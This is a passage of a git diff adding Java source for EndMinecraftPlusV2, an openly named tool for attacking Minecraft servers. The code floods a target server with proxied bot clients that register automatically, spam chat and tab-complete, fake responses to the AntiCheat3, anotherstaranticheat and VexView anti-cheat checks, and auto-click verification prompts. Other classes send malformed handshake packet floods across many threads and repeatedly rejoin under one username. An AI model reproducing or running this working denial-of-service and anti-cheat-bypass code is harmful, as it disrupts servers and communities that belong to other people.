+ for (int i = 0; i < (ConfigUtil.BotCount - DataUtil.botRegPasswords.size()); i++) {
+ DataUtil.updateData(ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString(3,5)), OtherUtils.getRandomString(8,10));
+ }
+ }
+
+ Map modList = new HashMap<>();
+
+ if (!MCForge.isAfterVersion1_13()) {
+ LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack");
+ modList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
+ LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack");
+ }
+
+ BotAttack botAttack = new BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+ botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList);
+ botAttack.start();
+ break;
+ case 2:
+ // MotdAttack
+ IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+ motdAttack.start();
+ break;
+ case 3:
+ // MotdAttackP
+ IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+ motdAttackP.start();
+ break;
+ case 4:
+ // DoubleAttack
+ Map doubleModList = new HashMap<>();
+
+ if (!MCForge.isAfterVersion1_13()) {
+ LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack");
+ doubleModList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
+ LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack");
+ }
+
+ DoubleAttack attack = new DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+ attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
+ attack.setUsername(ConfigUtil.DoubleExploitPlayer);
+ attack.start();
+ break;
+ default:
+ EndMinecraftPlusV2.Exit();
+ }
+ }
+
+ public static String getRandomUser() {
+ return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size()));
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/BotAttack.java
new file mode 100644
index 0000000..8181ae8
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/BotAttack.java
@@ -0,0 +1,316 @@
+package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.ACProtocol.AnotherStarAntiCheat;
+import cn.serendipityr.EndMinecraftPlusV2.ACProtocol.AntiCheat3;
+import cn.serendipityr.EndMinecraftPlusV2.AttackUtils.AttackManager;
+import cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol.MCForge;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
+import io.netty.util.internal.ConcurrentSet;
+import org.spacehq.mc.protocol.MinecraftProtocol;
+import org.spacehq.mc.protocol.data.message.Message;
+import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket;
+import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
+import org.spacehq.packetlib.Client;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.event.session.*;
+import org.spacehq.packetlib.packet.Packet;
+import org.spacehq.packetlib.tcp.TcpSessionFactory;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.net.Socket;
+import java.util.*;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+public class BotAttack extends IAttack {
+ public static HashMap clientName = new HashMap<>();
+ public static int failed = 0;
+ public static int joined = 0;
+ public static int rejoin = 0;
+ public static int clickVerifies = 0;
+ public static List alivePlayers = new ArrayList<>();
+ protected boolean attack_motdbefore;
+ protected boolean attack_tab;
+ protected Map modList;
+
+ private Thread mainThread;
+ private Thread tabThread;
+ private Thread taskThread;
+
+ public Set clients = new ConcurrentSet<>();
+ public ExecutorService pool = Executors.newCachedThreadPool();
+
+ private static final AntiCheat3 ac3 = new AntiCheat3();
+ private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
+
+ private long starttime;
+
+ public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+ super(ip, port, time, maxconnect, joinsleep);
+ }
+
+ public void setBotConfig(boolean motdbefore, boolean tab, Map modList) {
+ this.attack_motdbefore = motdbefore;
+ this.attack_tab = tab;
+ this.modList = modList;
+ }
+
+ public String getRandMessage() {
+ return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6));
+ }
+
+ public void start() {
+ setTask(() -> {
+ while (true) {
+ for (Client c : clients) {
+ if (c.getSession().isConnected()) {
+ if (c.getSession().hasFlag("login")) {
+ c.getSession().send(new ClientChatPacket(getRandMessage()));
+ } else if (c.getSession().hasFlag("join")) {
+ if (ConfigUtil.RegisterAndLogin) {
+ for (String cmd:ConfigUtil.RegisterCommands) {
+ c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
+ }
+ }
+
+ c.getSession().setFlag("login", true);
+ }
+ }
+ }
+ OtherUtils.doSleep(5 * 1000);
+ }
+ });
+
+ this.starttime = System.currentTimeMillis();
+
+ mainThread = new Thread(() -> {
+ while (true) {
+ try {
+ cleanClients();
+ createClients(ip, port);
+ OtherUtils.doSleep(10 * 1000);
+
+ if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
+ for (Client c : clients) {
+ c.getSession().disconnect("");
+ }
+ stop();
+ return;
+ }
+ LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
+ } catch (Exception e) {
+ LogUtil.doLog(1, "发生错误: " + e.getMessage(), null);
+ }
+ }
+ });
+
+ if (this.attack_tab) {
+ tabThread = new Thread(() -> {
+ while (true) {
+ for (Client c : clients) {
+ if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
+ MultiVersionPacket.sendTabPacket(c.getSession(), "/");
+ }
+ }
+ OtherUtils.doSleep(10);
+ }
+ });
+ }
+
+ mainThread.start();
+ if (tabThread != null)
+ tabThread.start();
+ if (taskThread != null)
+ taskThread.start();
+ }
+
+ @SuppressWarnings("deprecation")
+ public void stop() {
+ mainThread.stop();
+ if (tabThread != null)
+ tabThread.stop();
+ if (taskThread != null)
+ taskThread.stop();
+ }
+
+ public void setTask(Runnable task) {
+ taskThread = new Thread(task);
+ }
+
+ private void cleanClients() {
+ clients.removeIf(c -> !c.getSession().isConnected());
+ }
+
+ private void createClients(final String ip, int port) {
+ for (String p: ProxyUtil.proxies) {
+ try {
+ String[] _p = p.split(":");
+ Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
+ String[] User = AttackManager.getRandomUser().split("@");
+ Client client = createClient(ip, port, User[0], proxy);
+ client.getSession().setReadTimeout(10 * 1000);
+ client.getSession().setWriteTimeout(10 * 1000);
+ clientName.put(client, User[0]);
+ clients.add(client);
+
+ if (this.attack_motdbefore) {
+ pool.submit(() -> {
+ getMotd(proxy, ip, port);
+ client.getSession().connect(false);
+ });
+ } else {
+ client.getSession().connect(false);
+ }
+
+ if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect))
+ return;
+ if (this.attack_joinsleep > 0)
+ OtherUtils.doSleep(attack_joinsleep);
+ } catch (Exception e) {
+ LogUtil.doLog(1, "发生错误: " + e.getMessage(), null);
+ }
+ }
+ }
+
+ public Client createClient(final String ip, int port, final String username, Proxy proxy) {
+ Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
+ new MCForge(client.getSession(), this.modList).init();
+
+ client.getSession().addListener(new SessionListener() {
+ public void packetReceived(PacketReceivedEvent e) {
+ handlePacket(e.getSession(), e.getPacket(), username);
+ }
+
+ public void packetSent(PacketSentEvent e) {
+ }
+
+ public void connected(ConnectedEvent e) {
+ }
+
+ public void disconnecting(DisconnectingEvent e) {
+ }
+
+ public void disconnected(DisconnectedEvent e) {
+ String msg;
+
+ if (e.getCause() == null) {
+ msg = e.getReason();
+ LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
+
+ for (String rejoinDetect:ConfigUtil.RejoinDetect) {
+ if (msg.contains(rejoinDetect)) {
+ for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
+ createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
+ rejoin++;
+ }
+ }
+ }
+ }
+
+ failed++;
+ alivePlayers.remove(username);
+ SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
+ }
+ });
+ return client;
+ }
+
+ public void getMotd(Proxy proxy, String ip, int port) {
+ try {
+ Socket socket = new Socket(proxy);
+ socket.connect(new InetSocketAddress(ip, port));
+ if (socket.isConnected()) {
+ OutputStream out = socket.getOutputStream();
+ InputStream in = socket.getInputStream();
+ out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
+ out.write(new byte[]{0x01, 0x00});
+ out.flush();
+ in.read();
+
+ try {
+ in.close();
+ out.close();
+ socket.close();
+ } catch (Exception ignored) {}
+
+ return;
+ }
+ socket.close();
+ } catch (Exception ignored) {}
+ }
+
+ protected void handlePacket(Session session, Packet recvPacket, String username) {
+ if (recvPacket instanceof ServerPluginMessagePacket) {
+ ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
+ switch (packet.getChannel()) {
+ case "AntiCheat3.4.3":
+ String code = ac3.uncompress(packet.getData());
+ byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code,
+ new String[]{"44f6bc86a41fa0555784c255e3174260"});
+ session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData));
+ break;
+ case "anotherstaranticheat":
+ String salt = asac.decodeSPacket(packet.getData());
+ byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
+ session.send(new ClientPluginMessagePacket("anotherstaranticheat", data));
+ break;
+ case "VexView":
+ if (new String(packet.getData()).equals("GET:Verification"))
+ session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes()));
+ break;
+ default:
+ }
+ } else if (recvPacket instanceof ServerJoinGamePacket) {
+ session.setFlag("join", true);
+ LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
+ joined++;
+ alivePlayers.add(username);
+ MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
+ MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1);
+ } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) {
+ ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
+ MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
+ session.send(new ClientPlayerMovementPacket(true));
+ MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
+ } else if (recvPacket instanceof ServerChatPacket) {
+ ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
+ clickVerifiesHandle(chatPacket.getMessage(), session, username);
+ }
+ }
+
+ public static void clickVerifiesHandle(Message message, Session session, String username) {
+ boolean needClick = false;
+
+ if (message.getStyle().getClickEvent() != null) {
+ for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) {
+ if (message.getText().contains(clickVerifiesDetect)) {
+ needClick = true;
+ break;
+ }
+ }
+ }
+
+ if (needClick) {
+ LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
+ session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
+ clickVerifies++;
+ } else {
+ LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack");
+ alivePlayers.add(username);
+ }
+
+ if (message.getExtra() != null && !message.getExtra().isEmpty()) {
+ for (Message extraMessage:message.getExtra()) {
+ clickVerifiesHandle(extraMessage, session, username);
+ }
+ }
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/DoubleAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/DoubleAttack.java
new file mode 100644
index 0000000..a02358c
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/DoubleAttack.java
@@ -0,0 +1,37 @@
+package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
+import org.spacehq.packetlib.Client;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.net.Proxy;
+
+public class DoubleAttack extends BotAttack {
+ private String username;
+ private Integer totalTimes = 0;
+ private Integer runTimes = 0;
+
+ public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+ super(ip, port, time, maxconnect, joinsleep);
+ }
+
+ public void setUsername(String username) {
+ this.username = username;
+ }
+
+ public Client createClient(String ip, int port, String username, Proxy proxy) {
+ totalTimes++;
+ return super.createClient(ip, port, this.username, proxy);
+ }
+
+ protected void handlePacket(Session session, Packet recvPacket, String username) {
+ super.handlePacket(session, recvPacket, username);
+ if (recvPacket instanceof ServerJoinGamePacket) {
+ session.disconnect("Double Exploit - Connection Reset!");
+ runTimes++;
+ SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次");
+ }
+ }
+}
\ No newline at end of file
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/IAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/IAttack.java
new file mode 100644
index 0000000..5f7dede
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/IAttack.java
@@ -0,0 +1,22 @@
+package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
+
+public abstract class IAttack {
+ public String ip;
+ public int port;
+
+ public int attack_time;
+ public int attack_maxconnect;
+ public long attack_joinsleep;
+
+ public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+ this.ip = ip;
+ this.port = port;
+ this.attack_time = time;
+ this.attack_maxconnect = maxconnect;
+ this.attack_joinsleep = joinsleep;
+ }
+
+ public abstract void start();
+
+ public abstract void stop();
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttack.java
new file mode 100644
index 0000000..d8eba07
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttack.java
@@ -0,0 +1,72 @@
+package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.ArrayList;
+import java.util.List;
+
+public class MotdAttack extends IAttack {
+ public List threads = new ArrayList<>();
+ private int runTimes = 0;
+ private int errorTimes = 0;
+ public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+ super(ip, port, time, maxconnect, joinsleep);
+ }
+
+ public void start() {
+ Runnable task = () -> {
+ while (true) {
+ try {
+ Socket socket = new Socket();
+ socket.connect(new InetSocketAddress(ip, port));
+ if (socket.isConnected()) {
+ LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack" + Thread.currentThread().getName());
+ OutputStream out = socket.getOutputStream();
+ out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
+ out.flush();
+ while (socket.isConnected()) {
+ for (int i = 0; i < 10; i++) {
+ SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
+ out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
+ 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
+ runTimes++;
+ }
+ out.flush();
+ }
+ try {
+ out.close();
+ socket.close();
+ } catch (IOException ignored) {}
+ LogUtil.doLog(0, "连接已断开。", "MotdAttack" + Thread.currentThread().getName());
+ OtherUtils.doSleep(attack_joinsleep);
+ }
+ } catch (Throwable e) {
+ LogUtil.doLog(0, "发生错误: " + e.getMessage(), "MotdAttack" + Thread.currentThread().getName());
+ errorTimes++;
+ }
+ }
+ };
+
+ if (this.attack_maxconnect < 1)
+ this.attack_maxconnect = 10;
+
+ for (int i = 0; i < this.attack_maxconnect; i++) {
+ Thread thread = new Thread(task);
+ thread.setName(String.valueOf(i + 1));
+ thread.start();
+ threads.add(thread);
+ }
+ }
+
+ @SuppressWarnings("deprecation")
+ public void stop() {
+ threads.forEach(Thread::stop);
+ }
+
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttackP.java b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttackP.java
new file mode 100644
index 0000000..e869b36
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttackP.java
@@ -0,0 +1,84 @@
+package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.net.Socket;
+import java.util.ArrayList;
+import java.util.List;
+
+public class MotdAttackP extends IAttack {
+ public List threads = new ArrayList<>();
+ private int runTimes = 0;
+ private int errorTimes = 0;
+
+ public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) {
+ super(ip, port, time, maxconnect, joinsleep);
+ }
+
+ public void start() {
+ for (String p: ProxyUtil.proxies) {
+ try {
+ String[] _p = p.split(":");
+ Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
+ Thread thread = createThread(proxy, ip, port);
+ thread.start();
+ threads.add(thread);
+ if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect))
+ return;
+ } catch (Exception e) {
+ LogUtil.doLog(1,"发生错误: " + e.getMessage(), null);
+ }
+ }
+ }
+
+ @SuppressWarnings("deprecation")
+ public void stop() {
+ threads.forEach(Thread::stop);
+ }
+
+ public Thread createThread(Proxy proxy, String ip, int port) {
+ Runnable task = () -> {
+ while (true) {
+ try {
+ Socket socket = new Socket(proxy);
+ socket.connect(new InetSocketAddress(ip, port));
+ if (socket.isConnected()) {
+ LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP" + Thread.currentThread().getName());
+ OutputStream out = socket.getOutputStream();
+ out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
+ out.flush();
+ while (socket.isConnected()) {
+ for (int i = 0; i < 10; i++) {
+ SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
+ out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
+ 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
+ runTimes++;
+ }
+ out.flush();
+ }
+ try {
+ out.close();
+ socket.close();
+ } catch (IOException ignored) {
+ }
+
+ LogUtil.doLog(0, "连接已断开。", "MotdAttackP" + Thread.currentThread().getName());
+ }
+ } catch (Throwable e) {
+ LogUtil.doLog(0, "发生错误: " + e.getMessage(), "MotdAttackP" + Thread.currentThread().getName());
+ errorTimes++;
+ }
+
+ OtherUtils.doSleep(attack_joinsleep);
+ }
+ };
+ return new Thread(task);
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MultiVersionPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MultiVersionPacket.java
new file mode 100644
index 0000000..4d43de1
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MultiVersionPacket.java
@@ -0,0 +1,94 @@
+package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
+
+import org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket;
+import org.spacehq.mc.protocol.packet.ingame.client.ClientTabCompletePacket;
+import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
+import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+
+public class MultiVersionPacket {
+ public static void sendTabPacket(Session session, String text) {
+ try {
+ Class> cls = ClientTabCompletePacket.class;
+ Constructor> constructor = cls.getDeclaredConstructor();
+ constructor.setAccessible(true);
+ ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance();
+ Field field = cls.getDeclaredField("text");
+ field.setAccessible(true);
+ field.set(packet, text);
+ session.send(packet);
+ } catch (Exception ignored) {}
+ }
+
+ public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) {
+ try {
+ Class> cls = ClientPlayerPositionRotationPacket.class;
+ Constructor> constructor;
+ ClientPlayerPositionRotationPacket packet;
+ try {
+ constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class);
+ packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch);
+ } catch (NoSuchMethodException ex) {
+ constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class);
+ packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch);
+ }
+ session.send(packet);
+ } catch (Exception ignored) {}
+ }
+
+ public static void sendClientSettingPacket(Session session, String locale) {
+ try {
+ Class> cls = ClientSettingsPacket.class;
+ Constructor> constructor;
+ ClientSettingsPacket packet;
+ try {
+ Class> parm1Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.ChatVisibility");
+ Class> parm2Class = Class.forName("[Lorg.spacehq.mc.protocol.data.game.setting.SkinPart;");
+ Class> parm3Class = Class.forName("org.spacehq.mc.protocol.data.game.entity.player.Hand");
+
+ Class> skinClass = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart");
+ Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1);
+ Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]);
+
+ constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class);
+ packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]);
+ } catch (NoSuchMethodException ex) {
+ Class> parm1Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility");
+ Class> parm2Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty");
+
+ constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class);
+ packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true);
+ }
+ session.send(packet);
+ } catch (Exception ignored) {}
+ }
+
+ public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) {
+ try {
+ Class> cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket");
+ Constructor> constructor = cls.getConstructor(int.class);
+ Packet packet = (Packet) constructor.newInstance(slot);
+ session.send(packet);
+ } catch (Exception ignored) {}
+ }
+
+ public static void sendClientTeleportConfirmPacket(Session session, int id) {
+ try {
+ Class> cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket");
+ Constructor> constructor = cls.getConstructor(int.class);
+ Packet packet = (Packet) constructor.newInstance(id);
+ session.send(packet);
+ } catch (Exception ignored) {}
+ }
+
+ public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) {
+ try {
+ sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet));
+ } catch (Exception ignored) {}
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/ProtocolLibs.java b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/ProtocolLibs.java
new file mode 100644
index 0000000..7238771
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/ProtocolLibs.java
@@ -0,0 +1,66 @@
+package cn.serendipityr.EndMinecraftPlusV2.AttackUtils;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
+
+import java.io.File;
+import java.util.*;
+
+public class ProtocolLibs {
+ public static void loadProtocolLib() {
+ LogUtil.doLog(0, "==========================================================", "ProtocolLib");
+ List versionLibs = scanProtocolLibs();
+ choseProtocolVer(versionLibs);
+ }
+
+ public static List scanProtocolLibs() {
+ try {
+ Class.forName("javassist.CtClass");
+ } catch (ClassNotFoundException e) {
+ OtherUtils.loadLibrary(new File("libs", "javassist-3.22.0-CR2.jar"));
+ }
+
+ File libDir = new File("libs");
+ if (!libDir.exists()) {
+ libDir.mkdir();
+ }
+
+ List versionLibs = new ArrayList<>();
+ for (File file: Objects.requireNonNull(libDir.listFiles())) {
+ if (file.getName().startsWith("MC-") && file.getName().endsWith(".jar"))
+ versionLibs.add(file);
+ }
+
+ Collections.sort(versionLibs);
+ return versionLibs;
+ }
+
+ public static void choseProtocolVer(List versionLibs) {
+ for (int i = 0; i < versionLibs.size(); i++) {
+ String filename = versionLibs.get(i).getName();
+ StringBuilder info = new StringBuilder();
+ info.append("(").append(i + 1).append(")").append(filename, "MC-".length(), filename.length() - ".jar".length());
+ LogUtil.doLog(0, info.toString(), "ProtocolLib");
+ }
+
+ LogUtil.doLog(-1, "请选择一个Minecraft协议库版本: ", "ProtocolLib");
+
+ try {
+ Scanner scanner = new Scanner(System.in);
+ int sel = Integer.parseInt(scanner.nextLine());
+ File versionLib = versionLibs.get(sel - 1);
+ OtherUtils.loadLibrary(versionLib);
+ } catch (Exception e) {
+ LogUtil.emptyLog();
+ LogUtil.doLog(1, "加载Minecraft协议库时发生错误! 详细信息:" + e, null);
+ LogUtil.doLog(0, "==========================错误排除==========================", "ProtocolLib");
+ LogUtil.doLog(0, "1.检查/libs文件夹内依赖库是否完整", "ProtocolLib");
+ LogUtil.doLog(0, "2.检查对应依赖库是否存在(如[1.8]需要[MC-1.8.jar])", "ProtocolLib");
+ LogUtil.doLog(0, "3.请输入正确的协议库序号(如10)", "ProtocolLib");
+ LogUtil.doLog(0, "==========================================================", "ProtocolLib");
+ LogUtil.emptyLog();
+
+ choseProtocolVer(versionLibs);
+ }
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java b/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java
new file mode 100644
index 0000000..cc3523c
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java
@@ -0,0 +1,49 @@
+package cn.serendipityr.EndMinecraftPlusV2;
+
+import cn.serendipityr.EndMinecraftPlusV2.AttackUtils.AttackManager;
+import cn.serendipityr.EndMinecraftPlusV2.AttackUtils.ProtocolLibs;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
